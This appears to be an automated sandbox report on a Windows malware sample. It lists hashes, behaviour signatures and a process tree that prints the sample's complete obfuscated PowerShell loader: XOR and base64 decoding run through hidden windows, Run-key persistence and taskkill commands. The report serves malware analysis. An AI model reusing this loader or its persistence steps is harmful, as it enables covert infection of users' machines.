fabfafe8a587f319ba975801fdf009f4aee664280a8b3dcd3cb2e98c8c329356

Analysis

max time kernel
149s
max time network
146s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/09/2026, 11:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
fabfafe8a587f319ba975801fdf009f4aee664280a8b3dcd3cb2e98c8c329356.exe
Size 89KB
Sample260910-m5v7fsbl3y
SHA256 fabfafe8a587f319ba975801fdf009f4aee664280a8b3dcd3cb2e98c8c329356
MD5 6b464c60d162beaa0fa471eba7ebafed
SHA1 04eb7255996acacdfad493f96eeacac68289f981
SHA512 c5360bcded82d692d0356570d4ce69502fc1b01fc6c6348d75461a7d328bb7631335884aeb74b4e7ac9ab2a4dd548ba15a06792a258d8b73e936ecd504773dc7
SSDEEP 1536:51bVSdKi8wSSdKi8wjEerq1o1Gnvlyr+CwaMYONe+b3SFu1AFNGaX9cw:51bVSdRESdRZcoQntK+C7VieM3SFZNtB
TLSH
T12093D076E2CF54CEC093A2B558AAD0C797A25E07040B2F2D7D783A40BF173E22799D46
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution persistence

Malware Config

Signatures

Badlisted process makes network request 9 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	5960	powershell.exe
8	5960	powershell.exe
9	5960	powershell.exe
11	5960	powershell.exe
12	1520	powershell.exe
13	1520	powershell.exe
14	1520	powershell.exe
15	1520	powershell.exe
16	1520	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3516	powershell.exe
6020	powershell.exe
2772	powershell.exe
1736	powershell.exe
5960	powershell.exe
1520	powershell.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\FmbnFAclcf = "C:\\ProgramData\\A1i.bat"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\obmhanieFc = "C:\\ProgramData\\A1i.bat"	powershell.exe

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2776	cmd.exe
4500	cmd.exe
5108	cmd.exe

Kills process with taskkill 6 IoCs

defense_evasion

pid	Process
6128	taskkill.exe
1252	taskkill.exe
4752	taskkill.exe
5616	taskkill.exe
3744	taskkill.exe
4208	taskkill.exe

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
3516	powershell.exe
3516	powershell.exe
5960	powershell.exe
5960	powershell.exe
6020	powershell.exe
6020	powershell.exe
2772	powershell.exe
2772	powershell.exe
2772	powershell.exe
1520	powershell.exe
1520	powershell.exe
1520	powershell.exe
1736	powershell.exe
1736	powershell.exe
1736	powershell.exe
1520	powershell.exe
5960	powershell.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	3516	powershell.exe
Token: SeDebugPrivilege	5960	powershell.exe
Token: SeDebugPrivilege	6020	powershell.exe
Token: SeDebugPrivilege	6128	taskkill.exe
Token: SeDebugPrivilege	1252	taskkill.exe
Token: SeDebugPrivilege	4752	taskkill.exe
Token: SeDebugPrivilege	2772	powershell.exe
Token: SeDebugPrivilege	1520	powershell.exe
Token: SeDebugPrivilege	1736	powershell.exe
Token: SeDebugPrivilege	5616	taskkill.exe
Token: SeDebugPrivilege	3744	taskkill.exe
Token: SeDebugPrivilege	4208	taskkill.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 5732 wrote to memory of 2776	5732	fabfafe8a587f319ba975801fdf009f4aee664280a8b3dcd3cb2e98c8c329356.exe	89
PID 2776 wrote to memory of 3516	2776	cmd.exe	91
PID 3516 wrote to memory of 5960	3516	powershell.exe	92
PID 5960 wrote to memory of 2804	5960	powershell.exe	94
PID 2804 wrote to memory of 1708	2804	csc.exe	95
PID 5960 wrote to memory of 6020	5960	powershell.exe	97
PID 6020 wrote to memory of 4500	6020	powershell.exe	100
PID 4500 wrote to memory of 6128	4500	cmd.exe	102
PID 4500 wrote to memory of 1252	4500	cmd.exe	104
PID 4500 wrote to memory of 4752	4500	cmd.exe	105
PID 2772 wrote to memory of 1520	2772	powershell.exe	107
PID 1520 wrote to memory of 2424	1520	powershell.exe	109
PID 2424 wrote to memory of 3124	2424	csc.exe	110
PID 1520 wrote to memory of 1736	1520	powershell.exe	111
PID 1736 wrote to memory of 5108	1736	powershell.exe	113
PID 5108 wrote to memory of 5616	5108	cmd.exe	115
PID 5108 wrote to memory of 3744	5108	cmd.exe	116
PID 5108 wrote to memory of 4208	5108	cmd.exe	117

C:\Users\Admin\AppData\Local\Temp\fabfafe8a587f319ba975801fdf009f4aee664280a8b3dcd3cb2e98c8c329356.exe
"C:\Users\Admin\AppData\Local\Temp\fabfafe8a587f319ba975801fdf009f4aee664280a8b3dcd3cb2e98c8c329356.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5732
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\a3f0a975-42dc-45aa-bcbd-43be6cf9b43c.bat"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2776
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$j=47-11;$dnE97fGUG=''YvIz25UG660RY'';$jIg9PzKV=''95a98db3ecf69083bcc3e0d0d780f598f4f3a2c7d9a7c7c9818087b98efeccfa8799b2d9f49b9c97b58db7c5a5c5b8c8daa2d6b496a8b0a4eaf6918ab4c7f881879687be8db0c4ac94efe8ff95ddb0b38da6fded8bb0a6a6dc8a9c9e9e82a3fda9cbbee8eef39694dbf890f9e4ba84c9c3b1f8809c81f888adb1b682e0969190ab8792ae97fdcbf39a88ecbcb7ab9690b38db4ebbfcce096c7d49d87dd8f86a2eef69c88ccf3f39687bebd8db1fffa8db0a6a6c99d9086ae8aa4e1cf8d82e8f3f9979fd3e1c38bd6fa8bc3cff9f98d819aa89a80eaf08b82fff3f6ac8a83b9beeaa2cb939eadae97f2d792efd3edb0c085cdbbd1db8f92b998bae5d6e5b2afc6e6fd8dbeb191a099daec8babf1c9a9a29994b4a7b9a8c8bea9d9d1dd95a2bc9dd181f0deab86dfd3cea1a7b2b6d7a7dde59884d2f6ae96be89bf8091f2afcda8e6fbb1b0a1bebda9a7a8d2b884a8f8df90aac498b29ef0c5bbb7f1c6c88fbdb79dbae4d5c89cbac6cdaacdbfb08dad9ccac68aa0ded1c9a2b7a698a484d5d9bbaff3e9de9fbd9f8cb789fbcf85a0ddd9a8c8cbb7b4a683d4f59b80ddf5dbb6bca0a48b98e0d29ab4c8ddceb999aa91a1a8c1a9b79aebfbdc92979d9b89b7aade87d9f2d1cb9ba4bcabb292ddf6cbdec6fbd39fb7a7b79089caf8d0a0d8fbedbda2b9bba7b7d5fea5b9ddc8d5bbb6bc86a199edd1cdb4dfd5dbc8c6bf9ba6b6dee5c687d4ced7ccbca1e4b79de2d29bacdbc9f2b5b2beafa9a8a0d2b6aaacf8d2bac7c791a1a7dbd3abb4a5daf2a1c0bb9eba82d6f2a581ccd8cfbcaab099a58aefd68ba3e6f7d9b1a7b28ea1b9d1adbe95d5f7d492c29b9bb78af5da95d5fad9e09b98b4ee87bcfacec2d0bbb597f2b297b8ce84e1ef9acdb1c8e38896b7b985b9f6f68b84f3f2bad0a8a7b99ba4b6da918ef3f8f39694aee6d985ccd9c7c3dbf9eeab8781b58db7b0c4bc82f2eaff8a87aee6d996eaf092affdefffcec7a0a891b9f6f8d7c9fdafaad1dadad1e9b6edf19c99f5f3f4d897dbf882e3a9b684c9fdafa8c5bd96abce9ffaf59a8ee8bcd49d87dd8b86b2dbf39688f2e8a1d0b496a8ce82f9f19b82f1bcbe99c0c2fcce93f7ea9199bcb8fbcbc2dd9f8ca5f6ebd691b9e7ee8a8a88ae86a4eded91cdb8fda9caddb7b394bef4f09e89d8fdee99dbd783caadfbfe8b8ef4e7e7858efed685a5f6fc8b84f3f2ba91dbd7bdd0fcbcfecbc1b8fdafd4d792eade90b0b6d696b8fdadc5a8a3b482beecf092aafde8ffa5c9c9908cb1fcde8c9ef9f1f8948adbf882e3b1a4db8ca4a1be99c4dd9b86a4cce68f88efb4b384cc88f8bcfedeea9381d2fdf79d'';$nGQiLc40H=''LA55XkdEYSYeWEFmNTEHfRdJJ2VmLgYRb2NoCzhOUkwoSTEGA2tpb1d1QAlOQnsNBwxpa0pPfUgUPShNGUNCRU9JEVNrV1NlUAxUKmBdZG12SF4uM3UrKiFSa1x3eBsvNG98KicwMUJ2ZiEITkkpKUcBVTplags9CwZZLlsQMBFmeGVANVQ8IWNmChUEc2N+fiYVJBJlcxcGLGl/eEJyTAJIJHNbShg8KG0aMmYJFm95BktBZTwgB30ZTh0NGG5pQWU9MWM0B08/ejJEMyZGaysKPARHSF9oQ0QvQDk7RmZiXilEZQstC2g/Q1lwGCAZWXozGSAyQV95K38zCzFfGSVSTWZJF1F7Mg5NQQdUKEN/Zmx2SFAuVFBUKzFsPUFZWhg9U285KScoOislCjAHTz96MkQzJkZrRmQpGAJSQnoGDj9qVVRTcHVVJjZINCkOYnZNFFVVCFRPaDYULzR4YkZ2Gwwtdy9eREwuICQLQ1VHR1BRIgQvQDk7Ri55DDkzYg86V0U6Vk5aQwINVn45DRY+Q1htK3VUDytYJy5YICUlChElDgYoOkcBVzpoLAd+Hk5NYXwHS0FmODF4SEofFC5XDQAKY2ViREEVXTVUVFtNImJ4X1duRgkHKDYBUUwuIWFCaEwPSF9oQ0QEQGtEYl56WkcpMkhDTVh2LAReSCURYXwbVQNqeDVCW0g1J2cvXkRMJycsC0NVR0dFVRMSQi4ldy4WD0dEYiFDXkUvU3YDO2YkF2d3CSoBV3ZJDFFrE1daVSFUB0BOOnpbdQoFbSNVOghRYWkQaFoqGWNrMxkoflxIanJiDgN3NUpDXicobhA8EkdEYiFNMBBlf3hRdUEASDA+Q0cHNCJARnJIEwggP0NSVy4BBgd9HFZAPTJLPB8nK1ZyIRJASSApbmlBZTgxC0NVR0dPQVMIL21/dml2elIFaGVUREwnJywLQ1VHR09GJhsvcDExBDUUamogMkNDDCckV2BzQREFcmY+WV9BfmNOXk4UBTYmMBcXbmJrCzhiBhRjegYQPjZRJQo8CwVUIDo8GUUgRmVmKmUeAz01SkMlLyhuEDAPQwEzI09DTVh2LARaeDJZJztPQ01YdiwEXkUiGkZBAFZCLiAsC0NVR0daU15eQi4sIAM0cB1AJ14kGwwgJSUuFg9HQCBVBhdIV35jQHlcFBxzfREXRURcWQMxSwITY24QBglib3gDMUkOEnNmQ1YZYXgsbX1CAkxDQjZDGAoGASk8D0dAIDJDQ0Un'';$nh4ZFB062=0xC859-0x1B0A;$sgQ9av=@();foreach($c in [char[]]$dnE97fGUG){$sgQ9av+=[byte]($c-bxor0xAA)};$eMhf36co8=$sgQ9av;$sgQ9av=@();foreach($c in [char[]]$dnE97fGUG){$sgQ9av+=[byte]($c-bxor0x55)};$f6TJe1=$sgQ9av;$sgQ9avoldR='''';$i=0;for($j=0;$j-lt$jIg9PzKV.Length;$j+=2){$sgQ9avoldR+=[char](([Convert]::ToInt32($jIg9PzKV.Substring($j,2),16))-bxor$eMhf36co8[$i++%$eMhf36co8.Length])};$nA78cij=$sgQ9avoldR;$sgQ9avoldB=[Convert]::FromBase64String([regex]::Replace($nGQiLc40H, ''$sgQ9av'', ''''));$sgQ9avoldR='''';$i=0;for($j=0;$j-lt$sgQ9avoldB.Length;$j++){$sgQ9avoldR+=[char]($sgQ9avoldB[$j]-bxor$f6TJe1[$i++%$f6TJe1.Length])};$o1PxeZl=$sgQ9avoldR;$sYU0Hvf=$nA78cij+$o1PxeZl;.($env:ComSpec[4,26,25]-join'''') $sYU0Hvf\"'" ; Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\a3f0a975-42dc-45aa-bcbd-43be6cf9b43c.bat' -Destination 'C:\ProgramData\A1i.bat' -Force -ErrorAction SilentlyContinue
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3516
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$j=47-11;$dnE97fGUG='YvIz25UG660RY';$jIg9PzKV='95a98db3ecf69083bcc3e0d0d780f598f4f3a2c7d9a7c7c9818087b98efeccfa8799b2d9f49b9c97b58db7c5a5c5b8c8daa2d6b496a8b0a4eaf6918ab4c7f881879687be8db0c4ac94efe8ff95ddb0b38da6fded8bb0a6a6dc8a9c9e9e82a3fda9cbbee8eef39694dbf890f9e4ba84c9c3b1f8809c81f888adb1b682e0969190ab8792ae97fdcbf39a88ecbcb7ab9690b38db4ebbfcce096c7d49d87dd8f86a2eef69c88ccf3f39687bebd8db1fffa8db0a6a6c99d9086ae8aa4e1cf8d82e8f3f9979fd3e1c38bd6fa8bc3cff9f98d819aa89a80eaf08b82fff3f6ac8a83b9beeaa2cb939eadae97f2d792efd3edb0c085cdbbd1db8f92b998bae5d6e5b2afc6e6fd8dbeb191a099daec8babf1c9a9a29994b4a7b9a8c8bea9d9d1dd95a2bc9dd181f0deab86dfd3cea1a7b2b6d7a7dde59884d2f6ae96be89bf8091f2afcda8e6fbb1b0a1bebda9a7a8d2b884a8f8df90aac498b29ef0c5bbb7f1c6c88fbdb79dbae4d5c89cbac6cdaacdbfb08dad9ccac68aa0ded1c9a2b7a698a484d5d9bbaff3e9de9fbd9f8cb789fbcf85a0ddd9a8c8cbb7b4a683d4f59b80ddf5dbb6bca0a48b98e0d29ab4c8ddceb999aa91a1a8c1a9b79aebfbdc92979d9b89b7aade87d9f2d1cb9ba4bcabb292ddf6cbdec6fbd39fb7a7b79089caf8d0a0d8fbedbda2b9bba7b7d5fea5b9ddc8d5bbb6bc86a199edd1cdb4dfd5dbc8c6bf9ba6b6dee5c687d4ced7ccbca1e4b79de2d29bacdbc9f2b5b2beafa9a8a0d2b6aaacf8d2bac7c791a1a7dbd3abb4a5daf2a1c0bb9eba82d6f2a581ccd8cfbcaab099a58aefd68ba3e6f7d9b1a7b28ea1b9d1adbe95d5f7d492c29b9bb78af5da95d5fad9e09b98b4ee87bcfacec2d0bbb597f2b297b8ce84e1ef9acdb1c8e38896b7b985b9f6f68b84f3f2bad0a8a7b99ba4b6da918ef3f8f39694aee6d985ccd9c7c3dbf9eeab8781b58db7b0c4bc82f2eaff8a87aee6d996eaf092affdefffcec7a0a891b9f6f8d7c9fdafaad1dadad1e9b6edf19c99f5f3f4d897dbf882e3a9b684c9fdafa8c5bd96abce9ffaf59a8ee8bcd49d87dd8b86b2dbf39688f2e8a1d0b496a8ce82f9f19b82f1bcbe99c0c2fcce93f7ea9199bcb8fbcbc2dd9f8ca5f6ebd691b9e7ee8a8a88ae86a4eded91cdb8fda9caddb7b394bef4f09e89d8fdee99dbd783caadfbfe8b8ef4e7e7858efed685a5f6fc8b84f3f2ba91dbd7bdd0fcbcfecbc1b8fdafd4d792eade90b0b6d696b8fdadc5a8a3b482beecf092aafde8ffa5c9c9908cb1fcde8c9ef9f1f8948adbf882e3b1a4db8ca4a1be99c4dd9b86a4cce68f88efb4b384cc88f8bcfedeea9381d2fdf79d';$nGQiLc40H='LA55XkdEYSYeWEFmNTEHfRdJJ2VmLgYRb2NoCzhOUkwoSTEGA2tpb1d1QAlOQnsNBwxpa0pPfUgUPShNGUNCRU9JEVNrV1NlUAxUKmBdZG12SF4uM3UrKiFSa1x3eBsvNG98KicwMUJ2ZiEITkkpKUcBVTplags9CwZZLlsQMBFmeGVANVQ8IWNmChUEc2N+fiYVJBJlcxcGLGl/eEJyTAJIJHNbShg8KG0aMmYJFm95BktBZTwgB30ZTh0NGG5pQWU9MWM0B08/ejJEMyZGaysKPARHSF9oQ0QvQDk7RmZiXilEZQstC2g/Q1lwGCAZWXozGSAyQV95K38zCzFfGSVSTWZJF1F7Mg5NQQdUKEN/Zmx2SFAuVFBUKzFsPUFZWhg9U285KScoOislCjAHTz96MkQzJkZrRmQpGAJSQnoGDj9qVVRTcHVVJjZINCkOYnZNFFVVCFRPaDYULzR4YkZ2Gwwtdy9eREwuICQLQ1VHR1BRIgQvQDk7Ri55DDkzYg86V0U6Vk5aQwINVn45DRY+Q1htK3VUDytYJy5YICUlChElDgYoOkcBVzpoLAd+Hk5NYXwHS0FmODF4SEofFC5XDQAKY2ViREEVXTVUVFtNImJ4X1duRgkHKDYBUUwuIWFCaEwPSF9oQ0QEQGtEYl56WkcpMkhDTVh2LAReSCURYXwbVQNqeDVCW0g1J2cvXkRMJycsC0NVR0dFVRMSQi4ldy4WD0dEYiFDXkUvU3YDO2YkF2d3CSoBV3ZJDFFrE1daVSFUB0BOOnpbdQoFbSNVOghRYWkQaFoqGWNrMxkoflxIanJiDgN3NUpDXicobhA8EkdEYiFNMBBlf3hRdUEASDA+Q0cHNCJARnJIEwggP0NSVy4BBgd9HFZAPTJLPB8nK1ZyIRJASSApbmlBZTgxC0NVR0dPQVMIL21/dml2elIFaGVUREwnJywLQ1VHR09GJhsvcDExBDUUamogMkNDDCckV2BzQREFcmY+WV9BfmNOXk4UBTYmMBcXbmJrCzhiBhRjegYQPjZRJQo8CwVUIDo8GUUgRmVmKmUeAz01SkMlLyhuEDAPQwEzI09DTVh2LARaeDJZJztPQ01YdiwEXkUiGkZBAFZCLiAsC0NVR0daU15eQi4sIAM0cB1AJ14kGwwgJSUuFg9HQCBVBhdIV35jQHlcFBxzfREXRURcWQMxSwITY24QBglib3gDMUkOEnNmQ1YZYXgsbX1CAkxDQjZDGAoGASk8D0dAIDJDQ0Un';$nh4ZFB062=0xC859-0x1B0A;$sgQ9av=@();foreach($c in [char[]]$dnE97fGUG){$sgQ9av+=[byte]($c-bxor0xAA)};$eMhf36co8=$sgQ9av;$sgQ9av=@();foreach($c in [char[]]$dnE97fGUG){$sgQ9av+=[byte]($c-bxor0x55)};$f6TJe1=$sgQ9av;$sgQ9avoldR='';$i=0;for($j=0;$j-lt$jIg9PzKV.Length;$j+=2){$sgQ9avoldR+=[char](([Convert]::ToInt32($jIg9PzKV.Substring($j,2),16))-bxor$eMhf36co8[$i++%$eMhf36co8.Length])};$nA78cij=$sgQ9avoldR;$sgQ9avoldB=[Convert]::FromBase64String([regex]::Replace($nGQiLc40H, '$sgQ9av', ''));$sgQ9avoldR='';$i=0;for($j=0;$j-lt$sgQ9avoldB.Length;$j++){$sgQ9avoldR+=[char]($sgQ9avoldB[$j]-bxor$f6TJe1[$i++%$f6TJe1.Length])};$o1PxeZl=$sgQ9avoldR;$sYU0Hvf=$nA78cij+$o1PxeZl;.($env:ComSpec[4,26,25]-join'') $sYU0Hvf"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Adds Run key to start application
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5960
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\sn4f1cry\sn4f1cry.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2804
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA658.tmp" "c:\Users\Admin\AppData\Local\Temp\sn4f1cry\CSC7751767DA40D4E15AE20C26ED2E42576.TMP"
        6⤵
        
        PID:1708
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:6020
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4500
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /IM RegAsm.exe /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:6128
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /IM Vbc.exe /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1252
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /IM MsBuild.exe /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4752

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$j=47-11;$dnE97fGUG=''YvIz25UG660RY'';$jIg9PzKV=''95a98db3ecf69083bcc3e0d0d780f598f4f3a2c7d9a7c7c9818087b98efeccfa8799b2d9f49b9c97b58db7c5a5c5b8c8daa2d6b496a8b0a4eaf6918ab4c7f881879687be8db0c4ac94efe8ff95ddb0b38da6fded8bb0a6a6dc8a9c9e9e82a3fda9cbbee8eef39694dbf890f9e4ba84c9c3b1f8809c81f888adb1b682e0969190ab8792ae97fdcbf39a88ecbcb7ab9690b38db4ebbfcce096c7d49d87dd8f86a2eef69c88ccf3f39687bebd8db1fffa8db0a6a6c99d9086ae8aa4e1cf8d82e8f3f9979fd3e1c38bd6fa8bc3cff9f98d819aa89a80eaf08b82fff3f6ac8a83b9beeaa2cb939eadae97f2d792efd3edb0c085cdbbd1db8f92b998bae5d6e5b2afc6e6fd8dbeb191a099daec8babf1c9a9a29994b4a7b9a8c8bea9d9d1dd95a2bc9dd181f0deab86dfd3cea1a7b2b6d7a7dde59884d2f6ae96be89bf8091f2afcda8e6fbb1b0a1bebda9a7a8d2b884a8f8df90aac498b29ef0c5bbb7f1c6c88fbdb79dbae4d5c89cbac6cdaacdbfb08dad9ccac68aa0ded1c9a2b7a698a484d5d9bbaff3e9de9fbd9f8cb789fbcf85a0ddd9a8c8cbb7b4a683d4f59b80ddf5dbb6bca0a48b98e0d29ab4c8ddceb999aa91a1a8c1a9b79aebfbdc92979d9b89b7aade87d9f2d1cb9ba4bcabb292ddf6cbdec6fbd39fb7a7b79089caf8d0a0d8fbedbda2b9bba7b7d5fea5b9ddc8d5bbb6bc86a199edd1cdb4dfd5dbc8c6bf9ba6b6dee5c687d4ced7ccbca1e4b79de2d29bacdbc9f2b5b2beafa9a8a0d2b6aaacf8d2bac7c791a1a7dbd3abb4a5daf2a1c0bb9eba82d6f2a581ccd8cfbcaab099a58aefd68ba3e6f7d9b1a7b28ea1b9d1adbe95d5f7d492c29b9bb78af5da95d5fad9e09b98b4ee87bcfacec2d0bbb597f2b297b8ce84e1ef9acdb1c8e38896b7b985b9f6f68b84f3f2bad0a8a7b99ba4b6da918ef3f8f39694aee6d985ccd9c7c3dbf9eeab8781b58db7b0c4bc82f2eaff8a87aee6d996eaf092affdefffcec7a0a891b9f6f8d7c9fdafaad1dadad1e9b6edf19c99f5f3f4d897dbf882e3a9b684c9fdafa8c5bd96abce9ffaf59a8ee8bcd49d87dd8b86b2dbf39688f2e8a1d0b496a8ce82f9f19b82f1bcbe99c0c2fcce93f7ea9199bcb8fbcbc2dd9f8ca5f6ebd691b9e7ee8a8a88ae86a4eded91cdb8fda9caddb7b394bef4f09e89d8fdee99dbd783caadfbfe8b8ef4e7e7858efed685a5f6fc8b84f3f2ba91dbd7bdd0fcbcfecbc1b8fdafd4d792eade90b0b6d696b8fdadc5a8a3b482beecf092aafde8ffa5c9c9908cb1fcde8c9ef9f1f8948adbf882e3b1a4db8ca4a1be99c4dd9b86a4cce68f88efb4b384cc88f8bcfedeea9381d2fdf79d'';$nGQiLc40H=''LA55XkdEYSYeWEFmNTEHfRdJJ2VmLgYRb2NoCzhOUkwoSTEGA2tpb1d1QAlOQnsNBwxpa0pPfUgUPShNGUNCRU9JEVNrV1NlUAxUKmBdZG12SF4uM3UrKiFSa1x3eBsvNG98KicwMUJ2ZiEITkkpKUcBVTplags9CwZZLlsQMBFmeGVANVQ8IWNmChUEc2N+fiYVJBJlcxcGLGl/eEJyTAJIJHNbShg8KG0aMmYJFm95BktBZTwgB30ZTh0NGG5pQWU9MWM0B08/ejJEMyZGaysKPARHSF9oQ0QvQDk7RmZiXilEZQstC2g/Q1lwGCAZWXozGSAyQV95K38zCzFfGSVSTWZJF1F7Mg5NQQdUKEN/Zmx2SFAuVFBUKzFsPUFZWhg9U285KScoOislCjAHTz96MkQzJkZrRmQpGAJSQnoGDj9qVVRTcHVVJjZINCkOYnZNFFVVCFRPaDYULzR4YkZ2Gwwtdy9eREwuICQLQ1VHR1BRIgQvQDk7Ri55DDkzYg86V0U6Vk5aQwINVn45DRY+Q1htK3VUDytYJy5YICUlChElDgYoOkcBVzpoLAd+Hk5NYXwHS0FmODF4SEofFC5XDQAKY2ViREEVXTVUVFtNImJ4X1duRgkHKDYBUUwuIWFCaEwPSF9oQ0QEQGtEYl56WkcpMkhDTVh2LAReSCURYXwbVQNqeDVCW0g1J2cvXkRMJycsC0NVR0dFVRMSQi4ldy4WD0dEYiFDXkUvU3YDO2YkF2d3CSoBV3ZJDFFrE1daVSFUB0BOOnpbdQoFbSNVOghRYWkQaFoqGWNrMxkoflxIanJiDgN3NUpDXicobhA8EkdEYiFNMBBlf3hRdUEASDA+Q0cHNCJARnJIEwggP0NSVy4BBgd9HFZAPTJLPB8nK1ZyIRJASSApbmlBZTgxC0NVR0dPQVMIL21/dml2elIFaGVUREwnJywLQ1VHR09GJhsvcDExBDUUamogMkNDDCckV2BzQREFcmY+WV9BfmNOXk4UBTYmMBcXbmJrCzhiBhRjegYQPjZRJQo8CwVUIDo8GUUgRmVmKmUeAz01SkMlLyhuEDAPQwEzI09DTVh2LARaeDJZJztPQ01YdiwEXkUiGkZBAFZCLiAsC0NVR0daU15eQi4sIAM0cB1AJ14kGwwgJSUuFg9HQCBVBhdIV35jQHlcFBxzfREXRURcWQMxSwITY24QBglib3gDMUkOEnNmQ1YZYXgsbX1CAkxDQjZDGAoGASk8D0dAIDJDQ0Un'';$nh4ZFB062=0xC859-0x1B0A;$sgQ9av=@();foreach($c in [char[]]$dnE97fGUG){$sgQ9av+=[byte]($c-bxor0xAA)};$eMhf36co8=$sgQ9av;$sgQ9av=@();foreach($c in [char[]]$dnE97fGUG){$sgQ9av+=[byte]($c-bxor0x55)};$f6TJe1=$sgQ9av;$sgQ9avoldR='''';$i=0;for($j=0;$j-lt$jIg9PzKV.Length;$j+=2){$sgQ9avoldR+=[char](([Convert]::ToInt32($jIg9PzKV.Substring($j,2),16))-bxor$eMhf36co8[$i++%$eMhf36co8.Length])};$nA78cij=$sgQ9avoldR;$sgQ9avoldB=[Convert]::FromBase64String([regex]::Replace($nGQiLc40H, ''$sgQ9av'', ''''));$sgQ9avoldR='''';$i=0;for($j=0;$j-lt$sgQ9avoldB.Length;$j++){$sgQ9avoldR+=[char]($sgQ9avoldB[$j]-bxor$f6TJe1[$i++%$f6TJe1.Length])};$o1PxeZl=$sgQ9avoldR;$sYU0Hvf=$nA78cij+$o1PxeZl;.($env:ComSpec[4,26,25]-join'''') $sYU0Hvf\"'" ; Copy-Item -Path 'C:\ProgramData\A1i.bat' -Destination 'C:\ProgramData\A1i.bat' -Force -ErrorAction SilentlyContinue
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
